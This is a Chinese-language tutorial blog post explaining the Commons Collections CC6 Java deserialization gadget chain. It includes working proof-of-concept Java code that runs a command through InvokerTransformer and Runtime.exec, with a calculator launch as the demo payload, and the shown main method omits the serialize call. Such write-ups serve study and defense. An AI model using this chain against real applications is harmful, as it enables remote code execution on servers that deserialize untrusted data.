前文分析到CC1会受到JDK和Commons Collections版本限制,CC6优势在于绕过JDK 8u71-8u202版本限制,8u_202以上的版本还可以配合fastjson利用,Commons Collections 利用范围也较广,因此它是最好用的CC链。
版本切换
jdk版本用jdk8u71,反编译用openJDK,它的搭建在CC1已经介绍了,这里不再介绍,之前搭建过的可以直接切换版本

CC6反序列化利用链分析
JDK_8u71把AnnotationInvocationHandler类给限制住了,LazyMap和InvokerTransformer还可以继续用,只需要找到能够调用LazyMa的get()方法的类即可。
先把LazyMap和InvokerTransformer的POC写下来,和CC1是一样的。
1 2 3 4 5 6 7 8 9 10
| Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap hashMap = new HashMap(); Map decorateLazyMap = LazyMap.decorate(hashMap,chainedTransformer);
|
TiedMapEntry
TiedMapEntry.getValue()方法调用了get()方法

然后看一下map.get的map是什么,可以在这个类搜索一下。
在该类的构造方法中找到了map,后续把LazyMap传进去就行了

不过还需要找一下谁可以调用getValue,先在该类搜索一下,如果没有再去其他类找
在该类发现hashCode()方法中调用了getValue()

HashMap类
HashCode()方法已经很熟悉了,在分析[URLDNS利用链](Java反序列化系列漏洞00篇-URLDNS链详解 | jjxxx)时其中的HashMap已经用到过了,跟进HashMap回忆一下

可以看到HashMap的readobject()方法中调用了put,put又调用了hash(),跟进hash()
hash方法中调用了hashCode(),我们只需要把key改为TiedMapEntry即可

到此这条链的大概已经说完了,还有一些细节上的问题,先写一个半成品POC。
半成品POC
代码的解读依旧在注释中
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50
| package CC1demo; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import java.io.*; import java.util.HashMap; import java.util.Map; public class CC6Test { public static void main(String[] args) throws IOException, ClassNotFoundException { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap hashMap = new HashMap(); Map decorateLazyMap = LazyMap.decorate(hashMap,chainedTransformer); TiedMapEntry tiedMapEntry = new TiedMapEntry(decorateLazyMap, "hello"); HashMap<Object,Object> hashMap1 = new HashMap<>(); hashMap1.put(tiedMapEntry,"jjxxx");
unserialize("ser.bin"); } public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); } public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{ ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj; } }
|
hashMap1.put(tiedMapEntry,"jjxxx");
把tiedMapEntry当作key传入后,把整个链序列化,当反序列化该链时,就会调用HashMap的readobject方法,hashMap1就会被读取同时会调用putVal(hash(key), key, value, false, false);
,此时key就是我们传进去的tiedMapEntry,进而触发整个利用链。
但是发现了一个问题,再对该链序列化时,POC本身会有一个hashMap1.put(tiedMapEntry,"jjxxx");
的put方法,这会提前触发利用链导致生成的序列化链无法利用,因此需要找到解决方法。
put提前触发问题解决
先回忆一下当时URLDNS链对这个问题的解决办法,当时大概是把 getHostAddress的方法是一个静态方法,我们把getHostAddress方法重写了一下让它返回为空,这样在序列化时就不会发起DNS请求影响判断结果。
接下来看CC6的解决方法。
第一个问题
使用上方的poc时,我们的本意是让该链在反序列化时HashMap的readobject方法调用put进而触发利用链,但是由于hashMap1.put(tiedMapEntry,"jjxxx");
的原因,它会在序列化时就会触发利用链执行命令,执行完之后会失去原有的结构
(通俗的说就是我们提前构造好了一个炸弹,还没扔出去呢put了一下就炸了)

因此我们需要在hashMap1.put(tiedMapEntry,"jjxxx");
时先把factory改为其他值(阻止爆炸),在它的代码下(hashMap1.put后)再通过反射将factory(作用域protected因此用反射修改值)的值再改为我们需要的chainedTransformer;
第二个问题
在序列化时key在map中不存在可以进入if条件,但是走到map.put(key, value);
时,会把我们写的key存入map中,这会导致在反序列化时key已经存在进不了if条件,从而执行不了chainedTransformer.transform()

解决方法就是,在序列化时与hashMap1.put(tiedMapEntry,"jjxxx");
之后再把map中的key删除。
最终POC
解决上方问题,完善POC
代码解读还是写在了源码的注释中
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61
| package CC1demo; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import java.io.*; import java.lang.reflect.Field; import java.util.HashMap; import java.util.Map; public class CC6Test { public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap hashMap = new HashMap(); Map decorateLazyMap = LazyMap.decorate(hashMap,new ConstantTransformer(111)); TiedMapEntry tiedMapEntry = new TiedMapEntry(decorateLazyMap, "hello"); HashMap<Object,Object> hashMap1 = new HashMap<>(); hashMap1.put(tiedMapEntry,"jjxxx"); decorateLazyMap.remove("hello"); Class<LazyMap> lazyMapClass = LazyMap.class; Field factory = lazyMapClass.getDeclaredField("factory"); factory.setAccessible(true); factory.set(decorateLazyMap,chainedTransformer);
unserialize("1.bin"); } public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("1.bin")); oos.writeObject(obj); } public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{ ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj; } }
|
序列化走到LazyMap时

反序列化时

命令成功执行

流程图

总结
感觉只要把CC1理解了,再去学其他链时就很好理解了,这条链唯一需要思考一下的就是put提前触发的问题,把这个理解了整条连就没有难的了。